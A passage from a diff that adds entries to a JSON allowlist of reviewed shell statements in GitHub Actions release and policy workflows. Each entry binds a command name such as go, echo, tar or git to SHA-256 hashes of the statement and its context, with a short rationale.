"046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed go statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "go", + "statementSHA256": "67937fa1d645693a707c385521c305c3719d3e75c405d2f8c00a56b7e8cf4382", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed go statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "go", + "statementSHA256": "7916340ef3a7fdd34023e4bf6c4559bd2fb8216d7513e532e619e1831eca6df3", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed go statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "go", + "statementSHA256": "7c60c515105c431fa332bc3d23711376e29ff65513e68ce5d595d81d504e684d", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed go statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "go", + "statementSHA256": "be92f2f5cb9c06b2eb838608df1209d60d51ff5fc91b3b5650147b709313e295", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed go statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "go", + "statementSHA256": "c4eb511062538e4d8dadc4ec87b8afa9885493e232d27d61e065314301f22cdc", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed go statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "go", + "statementSHA256": "ce4c11049a331dde75f86f427931d352bc26806e00845c9ddb09b37ab5e6a296", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed go statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "go", + "statementSHA256": "e0b29b872409fc83f7d942b1cf86f1657b2bf349cc4f2412ce08dd48039c8d91", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed go statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "go", + "statementSHA256": "f838e2989ad0c0e55fcc15089ebd3421ae2722ed2f39591119be5541b8b578e4", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed go statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "ko", + "statementSHA256": "33262c9f58255699a2419fc78e1802c1cbeb1589608fe06a55dbf7456bc8437c", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed ko statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "ko", + "statementSHA256": "fc6c9b8445d56d49656d57a6ce55ed8510f31b6a6d929afef51b0d51405b371a", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed ko statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "mkdir", + "statementSHA256": "4836713ba787e4300751fff29bba230abdbcfb5ffc09f9048e4280fce2776d34", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed mkdir statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "mkdir", + "statementSHA256": "77bf368130272f2edad3a189e7afddcc44e1b018ab2b03650a5f6caac407d1fd", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed mkdir statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "npm", + "statementSHA256": "1da8bf23d2c0684c704bbca52edd911233fb4bb267f1118d5b94915af4ce2757", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed npm statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "printf", + "statementSHA256": "40992f3fe8ae21ed7161e2bb2df5699a217c529ecf2e3d67430b9250cfad6c4c", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed fail-closed GitHub DELETE helper for pre-release snapshot cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "read", + "statementSHA256": "2fd8776961639fe68ab284365ff136a4515a35d6bd6def97b500ad6b3d5f7985", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed whole-list validation pass for pre-release cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "read", + "statementSHA256": "e4882f75f2755c94163a114c913cc795ff765c9705405b2ee958dab57c0f80f4", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed post-validation deletion pass for pre-release cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "return", + "statementSHA256": "40992f3fe8ae21ed7161e2bb2df5699a217c529ecf2e3d67430b9250cfad6c4c", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed fail-closed GitHub DELETE helper for pre-release snapshot cleanup." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "sha256sum", + "statementSHA256": "7856813037b521f0d4827cec9cde7932854817b79e837da88e2c0d9ed8ea3e0a", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed sha256sum statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "command": "tar", + "statementSHA256": "e2946a02aad54fa01bebd92c94d8416e39f8fa40a40f02eb37bd22724ea8be13", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Exact reviewed tar statement for pre-release.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "$assignment", + "statementSHA256": "0e17e768c1484e9def2346c58a2c32d337d4c33d780f0ffc79504af0c40ecba7", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed literal assignment for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "$assignment", + "statementSHA256": "66d1ee88edc672ead2282e1e159bc382cc6fad2c13a86c6ce585e0082a006b8d", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed literal assignment for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "$assignment", + "statementSHA256": "6af7f417e806699121e4d583e17b42321a812a4b8237364a263b970d48dc6132", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed literal assignment for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "$assignment", + "statementSHA256": "6e78bfd0781f308df8a82c819888f28647df16892ba5a7cef1571b725e102383", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed literal assignment for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "$assignment", + "statementSHA256": "e5888a15646c95e95768c301658269ab4880ac40a2aed5200133899101db0a56", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed literal assignment for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "[", + "statementSHA256": "5f8e07c6f716cb7da7802dc483fb1d72aed7f4a46b0fe6e2b79633123f4c775e", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Selects the exact reviewed bootstrap or trusted policy path." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "[", + "statementSHA256": "e5888a15646c95e95768c301658269ab4880ac40a2aed5200133899101db0a56", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed [ statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "cd", + "statementSHA256": "5f8e07c6f716cb7da7802dc483fb1d72aed7f4a46b0fe6e2b79633123f4c775e", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed cd statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "check-public-workflow-policy.sh", + "statementSHA256": "5f8e07c6f716cb7da7802dc483fb1d72aed7f4a46b0fe6e2b79633123f4c775e", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Run the trusted hash-bound policy wrapper against inert candidate data." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "echo", + "statementSHA256": "3f1d57f7be1844759d7c250d516b66e11aa6e6da06ce6d2f0ad4182e4b9faf4b", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed echo statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "echo", + "statementSHA256": "4ade2e44c08380b704763da57c411f70fc54eebcabf0abd0277746786def0bf8", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed echo statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "echo", + "statementSHA256": "7c133076e6ce17d413f1327ea6d975f452d350aba142430d9ad85847205e36b8", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed echo statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "echo", + "statementSHA256": "9e40419faa9458450eddc809e65c865dbf076b4dbd75f7e7cd3776aabdb7e1e0", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed echo statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "echo", + "statementSHA256": "c7f1a421fa15eeab86ac50981d3a6b99248925a1dc7d62f2847e9a82efe2a4a1", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed echo statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "echo", + "statementSHA256": "e5888a15646c95e95768c301658269ab4880ac40a2aed5200133899101db0a56", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed echo statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "echo", + "statementSHA256": "e9f5edd1eb6f1cf0981dee8cb41c339f3b29870174e740942a56d4076bd36887", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed echo statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "echo", + "statementSHA256": "fe9e84eb32be5ac99349d7e60340785a6e5b3750dcecf795514c53ec76253516", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed echo statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "echo", + "statementSHA256": "ff503c4cc7be7d35246d5c16eca55f3af89544a6ad9ffc6bf0bb0cbe4a199d19", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed echo statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "exit", + "statementSHA256": "3f1d57f7be1844759d7c250d516b66e11aa6e6da06ce6d2f0ad4182e4b9faf4b", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed exit statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "exit", + "statementSHA256": "4ade2e44c08380b704763da57c411f70fc54eebcabf0abd0277746786def0bf8", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed exit statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "exit", + "statementSHA256": "9e40419faa9458450eddc809e65c865dbf076b4dbd75f7e7cd3776aabdb7e1e0", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed exit statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "exit", + "statementSHA256": "c7f1a421fa15eeab86ac50981d3a6b99248925a1dc7d62f2847e9a82efe2a4a1", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed exit statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "exit", + "statementSHA256": "e5888a15646c95e95768c301658269ab4880ac40a2aed5200133899101db0a56", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed exit statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "exit", + "statementSHA256": "e9f5edd1eb6f1cf0981dee8cb41c339f3b29870174e740942a56d4076bd36887", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed exit statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "exit", + "statementSHA256": "fe9e84eb32be5ac99349d7e60340785a6e5b3750dcecf795514c53ec76253516", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed exit statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "exit", + "statementSHA256": "ff503c4cc7be7d35246d5c16eca55f3af89544a6ad9ffc6bf0bb0cbe4a199d19", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed exit statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "find", + "statementSHA256": "6af7f417e806699121e4d583e17b42321a812a4b8237364a263b970d48dc6132", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed find statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "git", + "statementSHA256": "0cf020cfd2b573841c37a0529d43d5b53f9b318028b28b3536b2f6aff30f02bc", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed git statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "git", + "statementSHA256": "3a50f487e92cd73a96ba4ae31eaa56980c1452ddb24bb37fce32cc2cf0f933e0", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed git statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "git", + "statementSHA256": "465704dc91fedf6386416daaecdf25aceff4bb50fa5defae0958b0a30bdeb6d1", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed git statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "git", + "statementSHA256": "66d1ee88edc672ead2282e1e159bc382cc6fad2c13a86c6ce585e0082a006b8d", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed git statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "git", + "statementSHA256": "9919b241412c88da2b0a86cbeaab201cc2323a2fd0c957e2f726ebc62b7282a6", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed git statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "mkdir", + "statementSHA256": "42f84c05333b2c7011f332ebca981a05c457d59e7595b13dac5dee7f58429d60", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed mkdir statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "read", + "statementSHA256": "3f1d57f7be1844759d7c250d516b66e11aa6e6da06ce6d2f0ad4182e4b9faf4b", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed read statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "read", + "statementSHA256": "e9f5edd1eb6f1cf0981dee8cb41c339f3b29870174e740942a56d4076bd36887", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed read statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "tar", + "statementSHA256": "2c7cd49dcf58abe45dabab11177f0c555401c94df4a264edd50b7a272e6304be", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed tar statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "command": "tar", + "statementSHA256": "9e40419faa9458450eddc809e65c865dbf076b4dbd75f7e7cd3776aabdb7e1e0", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Exact reviewed tar statement for public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "$assignment", + "statementSHA256": "0d3dd7fc51aac4485661b11f1f1d8caeab15dac23b29f106bd49937d067f94a1", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed literal assignment for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "$assignment", + "statementSHA256": "0e244e29d5df9fd3f28e4a446f74145a20ef81f56815883d179da598932d86e7", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed literal assignment for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "$assignment", + "statementSHA256": "17d4be78546c77315e004e96d8efc49e6925cfc925826720a16650a158861a3b", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed literal assignment for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "$assignment", + "statementSHA256": "380af18fb98580a7895b6ed48a7bc788a113ccdf2d13e229a1a35686feaba480", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed literal assignment for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "$assignment", + "statementSHA256": "6dcc8464a85a7d8fe9f2e93f724d3f1a41a26b48588bbd188387be43f6fc6fec", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed literal assignment for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "$assignment", + "statementSHA256": "b859368337e6cc218a04f48861a1e1d439e0bb3d590849b7cfc2d50af021b652", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed literal assignment for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "$assignment", + "statementSHA256": "c7bfd710ace4bd365c9a0c50b998697c0a530186c23a735c1924371fb65e1745", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed literal assignment for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "$assignment", + "statementSHA256": "d949518edc4df9d96ee9c32c28d9c8dec608757b540c726b58ea7af9a71f75d8", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed literal assignment for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "$assignment", + "statementSHA256": "fc93f9757c8164581fa8c15cdb307cd7e406a985ed1a294dd45d35f0ac78d97b", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed literal assignment for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "$statement", + "statementSHA256": "e7a79f3621c555ffe718dee785aa22019fd518fd87df94919723ee950e3525f3", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed Bash control statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "[", + "statementSHA256": "b859368337e6cc218a04f48861a1e1d439e0bb3d590849b7cfc2d50af021b652", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed [ statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "cat", + "statementSHA256": "27d01f1284610163c4e7161a2980b8629e695148d418acc3faabdcb9af4bcd9b", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed cat statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "cat", + "statementSHA256": "f78d5ae7d2e5a00cda3073ccae91d842d555eb7c9e16203a6e8702b3254606e0", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed cat statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "cd", + "statementSHA256": "1da8bf23d2c0684c704bbca52edd911233fb4bb267f1118d5b94915af4ce2757", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed cd statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "cd", + "statementSHA256": "77bf368130272f2edad3a189e7afddcc44e1b018ab2b03650a5f6caac407d1fd", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed cd statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "cd", + "statementSHA256": "92f0ca32bddd727ae2912374c0aec5686041a0966972274686cf8a013a89b1a3", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed cd statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "cd", + "statementSHA256": "a5d465c4e2ee847c72636e28cc99a01aae9637d3db013955089c34dc169e4957", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed cd statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "cd", + "statementSHA256": "bf97c2b1c84c2252a469aab4dce99637a3408fe5f891af7ad7f0ab209b0f2f7d", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed cd statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "cp", + "statementSHA256": "77bf368130272f2edad3a189e7afddcc44e1b018ab2b03650a5f6caac407d1fd", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed cp statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "cut", + "statementSHA256": "0e244e29d5df9fd3f28e4a446f74145a20ef81f56815883d179da598932d86e7", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed cut statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "echo", + "statementSHA256": "0e244e29d5df9fd3f28e4a446f74145a20ef81f56815883d179da598932d86e7", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed echo statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "echo", + "statementSHA256": "33262c9f58255699a2419fc78e1802c1cbeb1589608fe06a55dbf7456bc8437c", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed echo statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "echo", + "statementSHA256": "4c10142cede2562076c8be0e11e0294e47ada2a9f0f6cb7f591f231dbb4003a8", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed echo statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "echo", + "statementSHA256": "b0f5fa4c98b54e86ea91fe315062cb2273baf3d96c84b0ca421cbcc70b535190", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed echo statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "echo", + "statementSHA256": "b859368337e6cc218a04f48861a1e1d439e0bb3d590849b7cfc2d50af021b652", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed echo statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "echo", + "statementSHA256": "c7bfd710ace4bd365c9a0c50b998697c0a530186c23a735c1924371fb65e1745", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Exact reviewed echo statement for release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "command": "gh", + "statementSHA256": "65debcf26a5ab6694e2361cecdfd4fd64233e247808ad2f4996818a674c45928", + "contextSHA256": 